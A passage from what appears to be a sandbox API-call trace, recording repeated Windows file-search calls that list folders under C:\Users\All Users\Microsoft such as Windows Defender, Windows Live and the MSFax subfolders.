cAlternateFileName="")) returned 0 [0226.338] FindClose (in: hFindFile=0x1d1f5050 | out: hFindFile=0x1d1f5050) returned 1 [0226.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3e0) returned 1 [0226.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3a0) returned 1 [0226.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bbc70) returned 1 [0226.338] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Features", nBufferLength=0x105, lpBuffer=0x1b0bb750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Features", lpFilePart=0x0) returned 0x36 [0226.338] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Features\\*" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\features\\*"), lpFindFileData=0x1b0bb980 | out: lpFindFileData=0x1b0bb980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4ed0 [0226.339] FindNextFileW (in: hFindFile=0x1d1f4ed0, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.339] FindNextFileW (in: hFindFile=0x1d1f4ed0, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0226.339] FindClose (in: hFindFile=0x1d1f4ed0 | out: hFindFile=0x1d1f4ed0) returned 1 [0226.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbba0) returned 1 [0226.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbb60) returned 1 [0226.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bbc70) returned 1 [0226.339] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Features", nBufferLength=0x105, lpBuffer=0x1b0bb750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Features", lpFilePart=0x0) returned 0x36 [0226.339] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Features\\*" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\features\\*"), lpFindFileData=0x1b0bb980 | out: lpFindFileData=0x1b0bb980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4330 [0226.339] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.340] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0226.340] FindClose (in: hFindFile=0x1d1f4330 | out: hFindFile=0x1d1f4330) returned 1 [0226.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbba0) returned 1 [0226.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbb60) returned 1 [0226.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bc430) returned 1 [0226.408] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Live", nBufferLength=0x105, lpBuffer=0x1b0bbf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Live", lpFilePart=0x0) returned 0x29 [0226.408] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Live\\*" (normalized: "c:\\users\\all users\\microsoft\\windows live\\*"), lpFindFileData=0x1b0bc140 | out: lpFindFileData=0x1b0bc140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3731a3a, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3731a3a, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5350 [0226.409] FindNextFileW (in: hFindFile=0x1d1f5350, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3731a3a, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3731a3a, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.409] FindNextFileW (in: hFindFile=0x1d1f5350, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3731a3a, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973af366, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973af366, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1231, dwReserved0=0x0, dwReserved1=0x0, cFileName="WLive48x48.png", cAlternateFileName="WLIVE4~1.PNG")) returned 1 [0226.409] FindNextFileW (in: hFindFile=0x1d1f5350, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0226.409] FindClose (in: hFindFile=0x1d1f5350 | out: hFindFile=0x1d1f5350) returned 1 [0226.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bc360) returned 1 [0226.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bc320) returned 1 [0226.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bc430) returned 1 [0226.409] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Live", nBufferLength=0x105, lpBuffer=0x1b0bbf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Live", lpFilePart=0x0) returned 0x29 [0226.410] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Live\\*" (normalized: "c:\\users\\all users\\microsoft\\windows live\\*"), lpFindFileData=0x1b0bc140 | out: lpFindFileData=0x1b0bc140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3731a3a, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3731a3a, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4330 [0226.410] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3731a3a, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3731a3a, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.410] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3731a3a, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973af366, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973af366, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1231, dwReserved0=0x0, dwReserved1=0x0, cFileName="WLive48x48.png", cAlternateFileName="WLIVE4~1.PNG")) returned 1 [0226.410] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3731a3a, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973af366, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973af366, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1231, dwReserved0=0x0, dwReserved1=0x0, cFileName="WLive48x48.png", cAlternateFileName="WLIVE4~1.PNG")) returned 0 [0226.410] FindClose (in: hFindFile=0x1d1f4330 | out: hFindFile=0x1d1f4330) returned 1 [0226.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bc360) returned 1 [0226.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bc320) returned 1 [0226.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bc430) returned 1 [0226.411] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT", nBufferLength=0x105, lpBuffer=0x1b0bbf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows NT", lpFilePart=0x0) returned 0x27 [0226.411] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\*" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\*"), lpFindFileData=0x1b0bc140 | out: lpFindFileData=0x1b0bc140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5050 [0226.412] FindNextFileW (in: hFindFile=0x1d1f5050, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.412] FindNextFileW (in: hFindFile=0x1d1f5050, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSFax", cAlternateFileName="")) returned 1 [0226.412] FindNextFileW (in: hFindFile=0x1d1f5050, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3731a3a, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3731a3a, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 1 [0226.412] FindNextFileW (in: hFindFile=0x1d1f5050, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3731a3a, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3731a3a, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 0 [0226.413] FindClose (in: hFindFile=0x1d1f5050 | out: hFindFile=0x1d1f5050) returned 1 [0226.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bc360) returned 1 [0226.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bc320) returned 1 [0226.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bc430) returned 1 [0226.413] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT", nBufferLength=0x105, lpBuffer=0x1b0bbf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows NT", lpFilePart=0x0) returned 0x27 [0226.413] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\*" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\*"), lpFindFileData=0x1b0bc140 | out: lpFindFileData=0x1b0bc140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5050 [0226.413] FindNextFileW (in: hFindFile=0x1d1f5050, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.413] FindNextFileW (in: hFindFile=0x1d1f5050, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSFax", cAlternateFileName="")) returned 1 [0226.414] FindNextFileW (in: hFindFile=0x1d1f5050, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3731a3a, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3731a3a, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 1 [0226.414] FindNextFileW (in: hFindFile=0x1d1f5050, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0226.414] FindClose (in: hFindFile=0x1d1f5050 | out: hFindFile=0x1d1f5050) returned 1 [0226.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bc360) returned 1 [0226.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bc320) returned 1 [0226.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bbc70) returned 1 [0226.414] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax", nBufferLength=0x105, lpBuffer=0x1b0bb750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax", lpFilePart=0x0) returned 0x2d [0226.414] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\*" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\*"), lpFindFileData=0x1b0bb980 | out: lpFindFileData=0x1b0bb980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5290 [0226.416] FindNextFileW (in: hFindFile=0x1d1f5290, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.416] FindNextFileW (in: hFindFile=0x1d1f5290, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActivityLog", cAlternateFileName="ACTIVI~1")) returned 1 [0226.417] FindNextFileW (in: hFindFile=0x1d1f5290, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd313219, ftLastAccessTime.dwHighDateTime=0x1d112f1, ftLastWriteTime.dwLowDateTime=0xbd313219, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Coverpages", cAlternateFileName="COMMON~1")) returned 1 [0226.417] FindNextFileW (in: hFindFile=0x1d1f5290, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Inbox", cAlternateFileName="")) returned 1 [0226.417] FindNextFileW (in: hFindFile=0x1d1f5290, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Queue", cAlternateFileName="")) returned 1 [0226.417] FindNextFileW (in: hFindFile=0x1d1f5290, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SentItems", cAlternateFileName="SENTIT~1")) returned 1 [0226.417] FindNextFileW (in: hFindFile=0x1d1f5290, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd313219, ftLastAccessTime.dwHighDateTime=0x1d112f1, ftLastWriteTime.dwLowDateTime=0xbd313219, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VirtualInbox", cAlternateFileName="VIRTUA~1")) returned 1 [0226.417] FindNextFileW (in: hFindFile=0x1d1f5290, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd313219, ftLastAccessTime.dwHighDateTime=0x1d112f1, ftLastWriteTime.dwLowDateTime=0xbd313219, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VirtualInbox", cAlternateFileName="VIRTUA~1")) returned 0 [0226.418] FindClose (in: hFindFile=0x1d1f5290 | out: hFindFile=0x1d1f5290) returned 1 [0226.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbba0) returned 1 [0226.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbb60) returned 1 [0226.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bbc70) returned 1 [0226.419] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax", nBufferLength=0x105, lpBuffer=0x1b0bb750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax", lpFilePart=0x0) returned 0x2d [0226.419] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\*" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\*"), lpFindFileData=0x1b0bb980 | out: lpFindFileData=0x1b0bb980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4330 [0226.420] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.420] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActivityLog", cAlternateFileName="ACTIVI~1")) returned 1 [0226.420] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd313219, ftLastAccessTime.dwHighDateTime=0x1d112f1, ftLastWriteTime.dwLowDateTime=0xbd313219, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Coverpages", cAlternateFileName="COMMON~1")) returned 1 [0226.420] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, 